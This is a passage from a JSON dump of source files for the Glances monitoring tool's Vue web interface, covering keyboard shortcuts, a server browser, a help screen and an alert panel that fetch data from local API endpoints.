\"./components/plugin-diskio.vue\";\nimport GlancesPluginFolders from \"./components/plugin-folders.vue\";\nimport GlancesPluginFs from \"./components/plugin-fs.vue\";\nimport GlancesPluginNpu from \"./components/plugin-npu.vue\";\nimport GlancesPluginGpu from \"./components/plugin-gpu.vue\";\nimport GlancesPluginHostname from \"./components/plugin-hostname.vue\";\nimport GlancesPluginIp from \"./components/plugin-ip.vue\";\nimport GlancesPluginIrq from \"./components/plugin-irq.vue\";\nimport GlancesPluginLoad from \"./components/plugin-load.vue\";\nimport GlancesPluginMem from \"./components/plugin-mem.vue\";\nimport GlancesPluginMemswap from \"./components/plugin-memswap.vue\";\nimport GlancesPluginNetwork from \"./components/plugin-network.vue\";\nimport GlancesPluginNow from \"./components/plugin-now.vue\";\nimport GlancesPluginPercpu from \"./components/plugin-percpu.vue\";\nimport GlancesPluginPorts from \"./components/plugin-ports.vue\";\nimport GlancesPluginProcess from \"./components/plugin-process.vue\";\nimport GlancesPluginQuicklook from \"./components/plugin-quicklook.vue\";\nimport GlancesPluginRaid from \"./components/plugin-raid.vue\";\nimport GlancesPluginSensors from \"./components/plugin-sensors.vue\";\nimport GlancesPluginSmart from \"./components/plugin-smart.vue\";\nimport GlancesPluginSystem from \"./components/plugin-system.vue\";\nimport GlancesPluginUptime from \"./components/plugin-uptime.vue\";\nimport GlancesPluginVms from \"./components/plugin-vms.vue\";\nimport GlancesPluginWifi from \"./components/plugin-wifi.vue\";\nimport { GlancesStats } from \"./services.js\";\nimport { store } from \"./store.js\";\n\nimport uiconfig from \"./uiconfig.json\";\n\nexport default {\n\tcomponents: {\n\t\tGlancesHelp,\n\t\tGlancesPluginAlert,\n\t\tGlancesPluginCloud,\n\t\tGlancesPluginConnections,\n\t\tGlancesPluginCpu,\n\t\tGlancesPluginDiskio,\n\t\tGlancesPluginContainers,\n\t\tGlancesPluginFolders,\n\t\tGlancesPluginFs,\n\t\tGlancesPluginNpu,\n\t\tGlancesPluginGpu,\n\t\tGlancesPluginHostname,\n\t\tGlancesPluginIp,\n\t\tGlancesPluginIrq,\n\t\tGlancesPluginLoad,\n\t\tGlancesPluginMem,\n\t\tGlancesPluginMemswap,\n\t\tGlancesPluginNetwork,\n\t\tGlancesPluginNow,\n\t\tGlancesPluginPercpu,\n\t\tGlancesPluginPorts,\n\t\tGlancesPluginProcess,\n\t\tGlancesPluginQuicklook,\n\t\tGlancesPluginRaid,\n\t\tGlancesPluginSensors,\n\t\tGlancesPluginSmart,\n\t\tGlancesPluginSystem,\n\t\tGlancesPluginUptime,\n\t\tGlancesPluginVms,\n\t\tGlancesPluginWifi,\n\t},\n\tdata() {\n\t\treturn {\n\t\t\tstore,\n\t\t};\n\t},\n\tcomputed: {\n\t\targs() {\n\t\t\treturn this.store.args || {};\n\t\t},\n\t\tconfig() {\n\t\t\treturn this.store.config || {};\n\t\t},\n\t\tdata() {\n\t\t\treturn this.store.data || {};\n\t\t},\n\t\tdataLoaded() {\n\t\t\treturn this.store.data !== undefined;\n\t\t},\n\t\thasNpu() {\n\t\t\treturn this.store.data.stats.npu.length > 0;\n\t\t},\n\t\thasGpu() {\n\t\t\treturn this.store.data.stats.gpu.length > 0;\n\t\t},\n\t\tisLinux() {\n\t\t\treturn this.store.data.isLinux;\n\t\t},\n\t\ttitle() {\n\t\t\tconst { data } = this;\n\t\t\tconst title =\n\t\t\t\t(data.stats && data.stats.system && data.stats.system.hostname) || \"\";\n\t\t\treturn title ? `${title} - Glances` : \"Glances\";\n\t\t},\n\t\ttopMenu() {\n\t\t\treturn this.config.outputs !== undefined &&\n\t\t\t\tthis.config.outputs.top_menu !== undefined\n\t\t\t\t? this.config.outputs.top_menu.split(\",\")\n\t\t\t\t: uiconfig.topMenu;\n\t\t},\n\t\tleftMenu() {\n\t\t\treturn this.config.outputs !== undefined &&\n\t\t\t\tthis.config.outputs.left_menu !== undefined\n\t\t\t\t? this.config.outputs.left_menu.split(\",\")\n\t\t\t\t: uiconfig.leftMenu;\n\t\t},\n\t},\n\twatch: {\n\t\ttitle() {\n\t\t\tif (document) {\n\t\t\t\tdocument.title = this.title;\n\t\t\t}\n\t\t},\n\t},\n\tmounted() {\n\t\tconst GLANCES = window.__GLANCES__ || {};\n\t\tconst refreshTime = isFinite(GLANCES[\"refresh-time\"])\n\t\t\t? parseInt(GLANCES[\"refresh-time\"], 10)\n\t\t\t: undefined;\n\t\tGlancesStats.init(refreshTime);\n\t\tthis.setupHotKeys();\n\t},\n\tbeforeUnmount() {\n\t\thotkeys.unbind();\n\t},\n\tmethods: {\n\t\tsetupHotKeys() {\n\t\t\t// a => Sort processes/containers automatically\n\t\t\thotkeys(\"a\", () => {\n\t\t\t\tthis.store.args.sort_processes_key = null;\n\t\t\t});\n\n\t\t\t// c => Sort processes/containers by CPU%\n\t\t\thotkeys(\"c\", () => {\n\t\t\t\tthis.store.args.sort_processes_key = \"cpu_percent\";\n\t\t\t});\n\n\t\t\t// m => Sort processes/containers by MEM%\n\t\t\thotkeys(\"m\", () => {\n\t\t\t\tthis.store.args.sort_processes_key = \"memory_percent\";\n\t\t\t});\n\n\t\t\t// u => Sort processes/containers by user\n\t\t\thotkeys(\"u\", () => {\n\t\t\t\tthis.store.args.sort_processes_key = \"username\";\n\t\t\t});\n\n\t\t\t// p => Sort processes/containers by name\n\t\t\thotkeys(\"p\", () => {\n\t\t\t\tthis.store.args.sort_processes_key = \"name\";\n\t\t\t});\n\n\t\t\t// o => Sort processes/containers by CPU core number\n\t\t\thotkeys(\"o\", () => {\n\t\t\t\tthis.store.args.sort_processes_key = \"cpu_num\";\n\t\t\t});\n\n\t\t\t// i => Sort processes/containers by I/O rate\n\t\t\thotkeys(\"i\", () => {\n\t\t\t\tthis.store.args.sort_processes_key = \"io_counters\";\n\t\t\t});\n\n\t\t\t// t => Sort processes/containers by time\n\t\t\thotkeys(\"t\", () => {\n\t\t\t\tthis.store.args.sort_processes_key = \"timemillis\";\n\t\t\t});\n\n\t\t\t// A => Enable/disable AMPs\n\t\t\thotkeys(\"shift+A\", () => {\n\t\t\t\tthis.store.args.disable_amps = !this.store.args.disable_amps;\n\t\t\t});\n\n\t\t\t// d => Show/hide disk I/O stats\n\t\t\thotkeys(\"d\", () => {\n\t\t\t\tthis.store.args.disable_diskio = !this.store.args.disable_diskio;\n\t\t\t});\n\n\t\t\t// Q => Show/hide IRQ\n\t\t\thotkeys(\"shift+Q\", () => {\n\t\t\t\tthis.store.args.enable_irq = !this.store.args.enable_irq;\n\t\t\t});\n\n\t\t\t// f => Show/hide filesystem stats\n\t\t\thotkeys(\"f\", () => {\n\t\t\t\tthis.store.args.disable_fs = !this.store.args.disable_fs;\n\t\t\t});\n\n\t\t\t// j => Accumulate processes by program\n\t\t\thotkeys(\"j\", () => {\n\t\t\t\tthis.store.args.programs = !this.store.args.programs;\n\t\t\t});\n\n\t\t\t// k => Show/hide connections stats\n\t\t\thotkeys(\"k\", () => {\n\t\t\t\tthis.store.args.disable_connections =\n\t\t\t\t\t!this.store.args.disable_connections;\n\t\t\t});\n\n\t\t\t// n => Show/hide network stats\n\t\t\thotkeys(\"n\", () => {\n\t\t\t\tthis.store.args.disable_network = !this.store.args.disable_network;\n\t\t\t});\n\n\t\t\t// s => Show/hide sensors stats\n\t\t\thotkeys(\"s\", () => {\n\t\t\t\tthis.store.args.disable_sensors = !this.store.args.disable_sensors;\n\t\t\t});\n\n\t\t\t// 2 => Show/hide left sidebar\n\t\t\thotkeys(\"2\", () => {\n\t\t\t\tthis.store.args.disable_left_sidebar =\n\t\t\t\t\t!this.store.args.disable_left_sidebar;\n\t\t\t});\n\n\t\t\t// z => Enable/disable processes stats\n\t\t\thotkeys(\"z\", () => {\n\t\t\t\tthis.store.args.disable_process = !this.store.args.disable_process;\n\t\t\t});\n\n\t\t\t// S => Enable/disable short processes name\n\t\t\thotkeys(\"shift+S\", () => {\n\t\t\t\tthis.store.args.process_short_name =\n\t\t\t\t\t!this.store.args.process_short_name;\n\t\t\t});\n\n\t\t\t// D => Enable/disable containers stats\n\t\t\thotkeys(\"shift+D\", () => {\n\t\t\t\tthis.store.args.disable_containers =\n\t\t\t\t\t!this.store.args.disable_containers;\n\t\t\t});\n\n\t\t\t// b => Bytes or bits for network I/O\n\t\t\thotkeys(\"b\", () => {\n\t\t\t\tthis.store.args.byte = !this.store.args.byte;\n\t\t\t});\n\n\t\t\t// 'B' => Switch between bit/s and IO/s for Disk IO\n\t\t\thotkeys(\"shift+B\", () => {\n\t\t\t\tthis.store.args.diskio_iops = !this.store.args.diskio_iops;\n\t\t\t\tif (this.store.args.diskio_iops) {\n\t\t\t\t\tthis.store.args.diskio_latency = false;\n\t\t\t\t}\n\t\t\t});\n\n\t\t\t// 'L' => Switch to latency for Disk IO\n\t\t\thotkeys(\"shift+L\", () => {\n\t\t\t\tthis.store.args.diskio_latency = !this.store.args.diskio_latency;\n\t\t\t\tif (this.store.args.diskio_latency) {\n\t\t\t\t\tthis.store.args.diskio_iops = false;\n\t\t\t\t}\n\t\t\t});\n\n\t\t\t// l => Show/hide alert logs\n\t\t\thotkeys(\"l\", () => {\n\t\t\t\tthis.store.args.disable_alert = !this.store.args.disable_alert;\n\t\t\t});\n\n\t\t\t// 1 => Global CPU or per-CPU stats\n\t\t\thotkeys(\"1\", () => {\n\t\t\t\tthis.store.args.percpu = !this.store.args.percpu;\n\t\t\t});\n\n\t\t\t// h => Show/hide this help screen\n\t\t\thotkeys(\"h\", () => {\n\t\t\t\tthis.store.args.help_tag = !this.store.args.help_tag;\n\t\t\t});\n\n\t\t\t// T => View network I/O as combination\n\t\t\thotkeys(\"shift+T\", () => {\n\t\t\t\tthis.store.args.network_sum = !this.store.args.network_sum;\n\t\t\t});\n\n\t\t\t// U => View cumulative network I/O\n\t\t\thotkeys(\"shift+U\", () => {\n\t\t\t\tthis.store.args.network_cumul = !this.store.args.network_cumul;\n\t\t\t});\n\n\t\t\t// F => Show filesystem free space\n\t\t\thotkeys(\"shift+F\", () => {\n\t\t\t\tthis.store.args.fs_free_space = !this.store.args.fs_free_space;\n\t\t\t});\n\n\t\t\t// 3 => Enable/disable quick look plugin\n\t\t\thotkeys(\"3\", () => {\n\t\t\t\tthis.store.args.disable_quicklook = !this.store.args.disable_quicklook;\n\t\t\t});\n\n\t\t\t// 6 => Enable/disable mean gpu\n\t\t\thotkeys(\"6\", () => {\n\t\t\t\tthis.store.args.meangpu = !this.store.args.meangpu;\n\t\t\t});\n\n\t\t\t// 7 => Enable/disable mean gpu\n\t\t\thotkeys(\"7\", () => {\n\t\t\t\tthis.store.args.disable_npu = !this.store.args.disable_npu;\n\t\t\t});\n\n\t\t\t// G => Enable/disable gpu\n\t\t\thotkeys(\"shift+G\", () => {\n\t\t\t\tthis.store.args.disable_gpu = !this.store.args.disable_gpu;\n\t\t\t});\n\n\t\t\thotkeys(\"5\", () => {\n\t\t\t\tthis.store.args.disable_quicklook = !this.store.args.disable_quicklook;\n\t\t\t\tthis.store.args.disable_cpu = !this.store.args.disable_cpu;\n\t\t\t\tthis.store.args.disable_mem = !this.store.args.disable_mem;\n\t\t\t\tthis.store.args.disable_memswap = !this.store.args.disable_memswap;\n\t\t\t\tthis.store.args.disable_load = !this.store.args.disable_load;\n\t\t\t\tthis.store.args.disable_gpu = !this.store.args.disable_gpu;\n\t\t\t\tthis.store.args.disable_npu = !this.store.args.disable_npu;\n\t\t\t});\n\n\t\t\t// I => Show/hide IP module\n\t\t\thotkeys(\"shift+I\", () => {\n\t\t\t\tthis.store.args.disable_ip = !this.store.args.disable_ip;\n\t\t\t});\n\n\t\t\t// P => Enable/disable ports module\n\t\t\thotkeys(\"shift+P\", () => {\n\t\t\t\tthis.store.args.disable_ports = !this.store.args.disable_ports;\n\t\t\t});\n\n\t\t\t// V => Enable/disable VMs stats\n\t\t\thotkeys(\"shift+V\", () => {\n\t\t\t\tthis.store.args.disable_vms = !this.store.args.disable_vms;\n\t\t\t});\n\n\t\t\t// 'W' > Enable/Disable Wifi plugin\n\t\t\thotkeys(\"shift+W\", () => {\n\t\t\t\tthis.store.args.disable_wifi = !this.store.args.disable_wifi;\n\t\t\t});\n\n\t\t\t// 0 => Enable/disable IRIX mode (see issue #3158)\n\t\t\thotkeys(\"0\", () => {\n\t\t\t\tthis.store.args.disable_irix = !this.store.args.disable_irix;\n\t\t\t});\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/Browser.vue",
    "content": "<template>\n    <div v-if=\"!serversListLoaded\" id=\"loading-page\" class=\"container-fluid\">\n        <div class=\"loader\">Glances Central Browser is loading...</div>\n    </div>\n    <main v-else>\n        <span v-show=\"servers.length == 0\">\n            <p class=\"title\">No Glances server available</p>\n            <br />\n            <p>Glances servers can be defined in the glances.conf file.</p>\n            <p>Glances servers can be detected automaticaly on the same local area network.</p>\n        </span>\n        <span v-show=\"servers.length == 1\" class=\"title\">One Glances server available</span>\n        <span v-show=\"servers.length > 1\" class=\"title\"> {{ servers.length }} Glances servers available</span>\n        <table v-show=\"servers.length > 0\" class=\"table table-sm table-borderless margin-bottom table-hover\">\n            <thead>\n                <tr>\n                    <th scope=\"col\">NAME</th>\n                    <th scope=\"col\" class=\"\">IP</th>\n                    <th scope=\"col\" class=\"\">STATUS</th>\n                    <th scope=\"col\" class=\"\">PROTOCOL</th>\n                    <th v-for=\"(column, columnId) in servers[0].columns\" v-if=\"servers.length\" :key=\"columnId\">\n                        {{ column.replace(/_/g, ' ').toUpperCase() }}\n                    </th>\n                </tr>\n            </thead>\n            <tbody>\n                <tr v-for=\"(server, serverId) in servers\" :key=\"serverId\" style=\"cursor: pointer\"\n                    @click=\"goToGlances(server)\">\n                    <td scope=\" row\">\n                        {{ server.alias ? server.alias : server.name, 32 }}\n                    </td>\n                    <td class=\"\">\n                        {{ server.ip }}\n                    </td>\n                    <td class=\"\">\n                        {{ server.status }}\n                    </td>\n                    <td class=\"\">\n                        {{ server.protocol }}\n                    </td>\n                    <td v-for=\"(column, columnId) in server.columns\" v-if=\"servers.length\" :key=\"columnId\"\n                        :class=\"getDecoration(server, column)\">\n                        {{ formatNumber(server[column]) }}\n                    </td>\n                </tr>\n            </tbody>\n        </table>\n        <!-- DEBUGGING -->\n        <!-- <p>{{ servers }}</p> -->\n    </main>\n</template>\n\n<script>\n// import hotkeys from 'hotkeys-js';\n// import { GlancesStats } from './services.js';\n// import { store } from './store.js';\n\nexport default {\n\tdata() {\n\t\treturn {\n\t\t\tservers: undefined,\n\t\t};\n\t},\n\tcomputed: {\n\t\tserversListLoaded() {\n\t\t\treturn this.servers !== undefined;\n\t\t},\n\t},\n\tcreated() {\n\t\tthis.updateServersList();\n\t},\n\tmounted() {\n\t\tconst GLANCES = window.__GLANCES__ || {};\n\t\tconst refreshTime = isFinite(GLANCES[\"refresh-time\"])\n\t\t\t? parseInt(GLANCES[\"refresh-time\"], 10)\n\t\t\t: undefined;\n\t\tthis.interval = setInterval(this.updateServersList, refreshTime * 1000);\n\t},\n\tunmounted() {\n\t\tclearInterval(this.interval);\n\t},\n\tmethods: {\n\t\tupdateServersList() {\n\t\t\tfetch(\"api/4/serverslist\", { method: \"GET\" })\n\t\t\t\t.then((response) => response.json())\n\t\t\t\t.then((response) => (this.servers = response));\n\t\t},\n\t\tformatNumber(value) {\n\t\t\tif (typeof value === \"number\" && !isNaN(value)) {\n\t\t\t\treturn value.toFixed(1);\n\t\t\t}\n\t\t\treturn value;\n\t\t},\n\t\tgoToGlances(server) {\n\t\t\tif (server.protocol === \"rpc\") {\n\t\t\t\talert(\n\t\t\t\t\t\"You just click on a Glances RPC server.\\nPlease open a terminal and enter the following command line:\\n\\nglances -c \" +\n\t\t\t\t\t\tString(server.ip) +\n\t\t\t\t\t\t\" -p \" +\n\t\t\t\t\t\tString(server.port),\n\t\t\t\t);\n\t\t\t} else {\n\t\t\t\twindow.location.href =\n\t\t\t\t\t\"http://\" + String(server.name) + \":\" + String(server.port);\n\t\t\t}\n\t\t},\n\t\tgetDecoration(server, column) {\n\t\t\tif (server[column + \"_decoration\"] === undefined) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\treturn server[column + \"_decoration\"].replace(\"_LOG\", \"\").toLowerCase();\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/app.js",
    "content": "/* global module */\nif (module.hot) {\n\tmodule.hot.accept();\n}\n\nimport \"../css/custom.scss\";\nimport \"../css/style.scss\";\n\nimport * as bootstrap from \"bootstrap\";\n\nimport { createApp } from \"vue\";\nimport App from \"./App.vue\";\nimport * as filters from \"./filters.js\";\n\nconst app = createApp(App);\napp.config.globalProperties.$filters = filters;\napp.mount(\"#app\");\n"
  },
  {
    "path": "glances/outputs/static/js/browser.js",
    "content": "/* global module */\nif (module.hot) {\n\tmodule.hot.accept();\n}\n\nimport \"../css/custom.scss\";\nimport \"../css/style.scss\";\n\nimport * as bootstrap from \"bootstrap\";\n\nimport { createApp } from \"vue\";\nimport App from \"./Browser.vue\";\nimport * as filters from \"./filters.js\";\n\nconst app = createApp(App);\napp.config.globalProperties.$filters = filters;\napp.mount(\"#browser\");\n"
  },
  {
    "path": "glances/outputs/static/js/components/help.vue",
    "content": "<template>\n    <div v-if=\"help\">\n        <div class=\"container-fluid\">\n            <div class=\"row\">\n                <div class=\"col-sm-12 col-lg-24 title\">{{ help.version }} {{ help.psutil_version }}</div>\n            </div>\n            <div class=\"row\">&nbsp;</div>\n            <div class=\"row\">\n                <div class=\"col-sm-12 col-lg-24\">\n                    {{ help.configuration_file }}\n                </div>\n            </div>\n            <div class=\"row\">&nbsp;</div>\n        </div>\n        <table class=\"table table-sm table-borderless table-striped table-hover\">\n            <thead>\n                <tr>\n                    <th>{{ help.header_sort.replace(':', '') }}</th>\n                    <th>{{ help.header_show_hide.replace(':', '') }}</th>\n                    <th>{{ help.header_toggle.replace(':', '') }}</th>\n                    <th>{{ help.header_miscellaneous.replace(':', '') }}</th>\n                </tr>\n            </thead>\n            <tbody>\n                <tr>\n                    <td>{{ help.sort_auto }}</td>\n                    <td>{{ help.show_hide_application_monitoring }}</td>\n                    <td>{{ help.toggle_bits_bytes }}</td>\n                    <td>{{ help.misc_erase_process_filter }}</td>\n                </tr>\n                <tr>\n                    <td>{{ help.sort_cpu }}</td>\n                    <td>{{ help.show_hide_diskio }}</td>\n                    <td>{{ help.toggle_count_rate }}</td>\n                    <td>{{ help.misc_generate_history_graphs }}</td>\n                </tr>\n                <tr>\n                    <td>{{ help.sort_io_rate }}</td>\n                    <td>{{ help.show_hide_containers }}</td>\n                    <td>{{ help.toggle_used_free }}</td>\n                    <td>{{ help.misc_help }}</td>\n                </tr>\n                <tr>\n                    <td>{{ help.sort_cpu_num }}</td>\n                    <td>{{ help.show_hide_top_extended_stats }}</td>\n                    <td>{{ help.toggle_bar_sparkline }}</td>\n                    <td>{{ help.misc_accumulate_processes_by_program }}</td>\n                </tr>\n                <tr>\n                    <td>{{ help.sort_mem }}</td>\n                    <td>{{ help.show_hide_top_extended_stats }}</td>\n                    <td>{{ help.toggle_bar_sparkline }}</td>\n                    <td>{{ help.misc_accumulate_processes_by_program }}</td>\n                </tr>\n                <tr>\n                    <td>{{ help.sort_process_name }}</td>\n                    <td>{{ help.show_hide_filesystem }}</td>\n                    <td>{{ help.toggle_separate_combined }}</td>\n                    <td>&nbsp;</td>\n                </tr>\n                <tr>\n                    <td>{{ help.sort_cpu_times }}</td>\n                    <td>{{ help.show_hide_gpu }}</td>\n                    <td>{{ help.toggle_live_cumulative }}</td>\n                    <td>{{ help.misc_reset_processes_summary_min_max }}</td>\n                </tr>\n                <tr>\n                    <td>{{ help.sort_user }}</td>\n                    <td>{{ help.show_hide_ip }}</td>\n                    <td>{{ help.toggle_linux_percentage }}</td>\n                    <td>{{ help.misc_quit }}</td>\n                </tr>\n                <tr>\n                    <td>&nbsp;</td>\n                    <td>{{ help.show_hide_tcp_connection }}</td>\n                    <td>{{ help.toggle_cpu_individual_combined }}</td>\n                    <td>{{ help.misc_reset_history }}</td>\n                </tr>\n                <tr>\n                    <td>&nbsp;</td>\n                    <td>{{ help.show_hide_alert }}</td>\n                    <td>{{ help.toggle_gpu_individual_combined }}</td>\n                    <td>{{ help.misc_delete_warning_alerts }}</td>\n                </tr>\n                <tr>\n                    <td>&nbsp;</td>\n                    <td>{{ help.show_hide_network }}</td>\n                    <td>{{ help.toggle_short_full }}</td>\n                    <td>{{ help.misc_delete_warning_and_critical_alerts }}</td>\n                </tr>\n                <tr>\n                    <td>&nbsp;</td>\n                    <td>{{ help.sort_cpu_times }}</td>\n                    <td>&nbsp;</td>\n                    <td>&nbsp;</td>\n                </tr>\n                <tr>\n                    <td>&nbsp;</td>\n                    <td>{{ help.show_hide_irq }}</td>\n                    <td>&nbsp;</td>\n                    <td>&nbsp;</td>\n                </tr>\n                <tr>\n                    <td>&nbsp;</td>\n                    <td>{{ help.show_hide_raid_plugin }}</td>\n                    <td>&nbsp;</td>\n                    <td>&nbsp;</td>\n                </tr>\n                <tr>\n                    <td>&nbsp;</td>\n                    <td>{{ help.show_hide_sensors }}</td>\n                    <td>&nbsp;</td>\n                    <td>&nbsp;</td>\n                </tr>\n                <tr>\n                    <td>&nbsp;</td>\n                    <td>{{ help.show_hide_wifi_module }}</td>\n                    <td>&nbsp;</td>\n                    <td>&nbsp;</td>\n                </tr>\n                <tr>\n                    <td>&nbsp;</td>\n                    <td>{{ help.show_hide_processes }}</td>\n                    <td>&nbsp;</td>\n                    <td>&nbsp;</td>\n                </tr>\n                <tr>\n                    <td>&nbsp;</td>\n                    <td>{{ help.show_hide_left_sidebar }}</td>\n                    <td>&nbsp;</td>\n                    <td>&nbsp;</td>\n                </tr>\n                <tr>\n                    <td>&nbsp;</td>\n                    <td>{{ help.show_hide_quick_look }}</td>\n                    <td>&nbsp;</td>\n                    <td>&nbsp;</td>\n                </tr>\n                <tr>\n                    <td>&nbsp;</td>\n                    <td>{{ help.show_hide_cpu_mem_swap }}</td>\n                    <td>&nbsp;</td>\n                    <td>&nbsp;</td>\n                </tr>\n                <tr>\n                    <td>&nbsp;</td>\n                    <td>{{ help.show_hide_all }}</td>\n                    <td>&nbsp;</td>\n                    <td>&nbsp;</td>\n                </tr>\n            </tbody>\n        </table>\n        <div class=\"row\">&nbsp;</div>\n        <div>\n            <p>\n                For an exhaustive list of key bindings,\n                <a href=\"https://glances.readthedocs.io/en/latest/cmds.html#interactive-commands\">click here</a>.\n            </p>\n        </div>\n        <div>\n            <p><a href=\"/docs\">API documentation</a> / <a href=\"/openapi.json\">OpenAPI file</a></p>\n        </div>\n        <div class=\"row\">&nbsp;</div>\n        <div>\n            <p>Press <b>h</b> to came back to Glances.</p>\n        </div>\n    </div>\n</template>\n\n<script>\nexport default {\n\tdata() {\n\t\treturn {\n\t\t\thelp: undefined,\n\t\t};\n\t},\n\tmounted() {\n\t\tfetch(\"api/4/help\", { method: \"GET\" })\n\t\t\t.then((response) => response.json())\n\t\t\t.then((response) => (this.help = response));\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-alert.vue",
    "content": "<template>\n  <section id=\"alerts\" class=\"plugin\">\n    <span v-if=\"hasAlerts\" class=\"title\">\n      Warning or critical alerts (last {{ countAlerts }} entries)\n      <span>\n        <button class=\"button\" @click=\"clear()\">Clear alerts</button>\n      </span>\n    </span>\n    <span v-else class=\"title\">No warning or critical alert detected</span>\n    <table class=\"table table-sm table-borderless\">\n      <tbody>\n        <tr v-for=\"(alert, alertId) in alerts\" :key=\"alertId\">\n          <td scope=\"row\">\n            <span>{{ formatDate(alert.begin) }}</span>\n          </td>\n          <td scope=\"row\">\n            <span>({{ alert.ongoing ? 'ongoing' : alert.duration }})</span>\n          </td>\n          <td scope=\"row\">\n            <span v-show=\"!alert.ongoing\"> {{ alert.state }} on </span>\n            <span :class=\"alert.state.toLowerCase()\">{{ alert.type }}</span>\n            <span>({{ $filters.number(alert.max, 1) }})</span>\n            <span>{{ alert.top }}</span>\n          </td>\n        </tr>\n      </tbody>\n    </table>\n  </section>\n</template>\n\n<script>\nimport { padStart } from \"lodash\";\nimport { GlancesFavico } from \"../services.js\";\n\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tcomputed: {\n\t\tstats() {\n\t\t\treturn this.data.stats[\"alert\"];\n\t\t},\n\t\talerts() {\n\t\t\treturn (this.stats || []).map((alertStats) => {\n\t\t\t\tconst alert = {};\n\t\t\t\talert.state = alertStats.state;\n\t\t\t\talert.type = alertStats.type;\n\t\t\t\talert.begin = alertStats.begin * 1000;\n\t\t\t\talert.end = alertStats.end * 1000;\n\t\t\t\talert.ongoing = alertStats.end == -1;\n\t\t\t\talert.min = alertStats.min;\n\t\t\t\talert.avg = alertStats.avg;\n\t\t\t\talert.max = alertStats.max;\n\t\t\t\tif (alertStats.top.length > 0) {\n\t\t\t\t\talert.top = \": \" + alertStats.top.join(\", \");\n\t\t\t\t}\n\n\t\t\t\tif (!alert.ongoing) {\n\t\t\t\t\tconst duration = alert.end - alert.begin;\n\t\t\t\t\tconst seconds = parseInt((duration / 1000) % 60),\n\t\t\t\t\t\tminutes = parseInt((duration / (1000 * 60)) % 60),\n\t\t\t\t\t\thours = parseInt((duration / (1000 * 60 * 60)) % 24);\n\n\t\t\t\t\talert.duration =\n\t\t\t\t\t\tpadStart(hours, 2, \"0\") +\n\t\t\t\t\t\t\":\" +\n\t\t\t\t\t\tpadStart(minutes, 2, \"0\") +\n\t\t\t\t\t\t\":\" +\n\t\t\t\t\t\tpadStart(seconds, 2, \"0\");\n\t\t\t\t}\n\n\t\t\t\treturn alert;\n\t\t\t});\n\t\t},\n\t\thasAlerts() {\n\t\t\treturn this.countAlerts > 0;\n\t\t},\n\t\tcountAlerts() {\n\t\t\treturn this.alerts.length;\n\t\t},\n\t\thasOngoingAlerts() {\n\t\t\treturn this.countOngoingAlerts > 0;\n\t\t},\n\t\tcountOngoingAlerts() {\n\t\t\treturn this.alerts.filter(({ ongoing }) => ongoing).length;\n\t\t},\n\t},\n\twatch: {\n\t\tcountOngoingAlerts() {\n\t\t\tif (this.countOngoingAlerts) {\n\t\t\t\tGlancesFavico.badge(this.countOngoingAlerts);\n\t\t\t} else {\n\t\t\t\tGlancesFavico.reset();\n\t\t\t}\n\t\t},\n\t},\n\tmethods: {\n\t\tformatDate(timestamp) {\n\t\t\tconst tzOffset = new Date().getTimezoneOffset();\n\t\t\tconst hours = Math.trunc(Math.abs(tzOffset) / 60);\n\t\t\tconst minutes = Math.abs(tzOffset % 60);\n\n\t\t\tlet tzString = tzOffset <= 0 ? \"+\" : \"-\";\n\t\t\ttzString +=\n\t\t\t\tString(hours).padStart(2, \"0\") + String(minutes).padStart(2, \"0\");\n\n\t\t\tconst date = new Date(timestamp);\n\t\t\treturn (\n\t\t\t\tString(date.getFullYear()) +\n\t\t\t\t\"-\" +\n\t\t\t\tString(date.getMonth() + 1).padStart(2, \"0\") +\n\t\t\t\t\"-\" +\n\t\t\t\tString(date.getDate()).padStart(2, \"0\") +\n\t\t\t\t\" \" +\n\t\t\t\tString(date.getHours()).padStart(2, \"0\") +\n\t\t\t\t\":\" +\n\t\t\t\tString(date.getMinutes()).padStart(2, \"0\") +\n\t\t\t\t\":\" +\n\t\t\t\tString(date.getSeconds()).padStart(2, \"0\") +\n\t\t\t\t\"(\" +\n\t\t\t\ttzString +\n\t\t\t\t\")\"\n\t\t\t);\n\t\t},\n\t\tclear() {\n\t\t\tconst requestOptions = {\n\t\t\t\tmethod: \"POST\",\n\t\t\t\theaders: { \"Content-Type\": \"application/json\" },\n\t\t\t};\n\t\t\tfetch(\"api/4/events/clear/all\", requestOptions)\n\t\t\t\t.then((response) => response.json())\n\t\t\t\t.then((data) => (product.value = data));\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-amps.vue",
    "content": "<template>\n    <section v-if=\"hasAmps\" id=\"amps\" class=\"plugin\">\n        <table class=\"table table-sm table-borderless\">\n            <tbody>\n                <tr v-for=\"(process, processId) in processes\" :key=\"processId\">\n                    <td :class=\"getNameDecoration(process)\">{{ process.name }}</td>\n                    <td v-if=\"process.regex\">{{ process.count }}</td>\n                    <td class=\"process-result\" v-html=\"$filters.nl2br(process.result)\"></td>\n                </tr>\n            </tbody>\n        </table>\n\n        <!-- <div class=\"table\">\n            <div class=\"table-row\" v-for=\"(process, processId) in processes\" :key=\"processId\">\n                <div class=\"table-cell text-start\" :class=\"getNameDecoration(process)\">\n                    {{ process.name }}\n                </div>\n                <div class=\"table-cell text-start\" v-if=\"process.regex\">{{ process.count }}</div>\n                <div\n                    class=\"table-cell text-start process-result\"\n                    v-html=\"$filters.nl2br(process.result)\"\n                ></div>\n            </div>\n        </div> -->\n\n    </section>\n</template>\n\n<script>\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tcomputed: {\n\t\tstats() {\n\t\t\treturn this.data.stats[\"amps\"];\n\t\t},\n\t\tprocesses() {\n\t\t\treturn this.stats.filter((process) => process.result !== null);\n\t\t},\n\t\thasAmps() {\n\t\t\treturn this.processes.length > 0;\n\t\t},\n\t},\n\tmethods: {\n\t\tgetNameDecoration(process) {\n\t\t\tconst count = process.count;\n\t\t\tconst countMin = process.countmin;\n\t\t\tconst countMax = process.countmax;\n\t\t\tlet decoration = \"ok\";\n\t\t\tif (count > 0) {\n\t\t\t\tif (\n\t\t\t\t\t(countMin === null || count >= countMin) &&\n\t\t\t\t\t(countMax === null || count <= countMax)\n\t\t\t\t) {\n\t\t\t\t\tdecoration = 